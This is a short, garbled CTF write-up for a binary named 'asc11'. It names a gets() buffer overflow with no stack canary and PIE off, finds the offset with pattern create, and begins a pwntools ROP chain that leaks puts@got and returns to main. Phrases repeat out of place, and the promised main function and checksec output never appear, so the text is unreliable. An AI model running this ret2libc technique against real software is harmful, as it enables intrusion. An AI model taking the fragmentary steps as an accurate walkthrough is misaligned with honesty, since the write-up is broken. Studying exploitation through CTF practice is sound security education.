11: Asc

Here’s a (likely referring to the 11th Allied Security CTF challenge, or a similar “ASC” CTF / wargame).

./asc11 It prints "Input: " , waits for input, then exits. Open in Ghidra/IDA. The main function: asc 11

file asc11 checksec asc11 Output (example): Here’s a (likely referring to the 11th Allied

gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ): waits for input

p = process('./asc11') offset = 40 ROP to leak puts@got rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main'])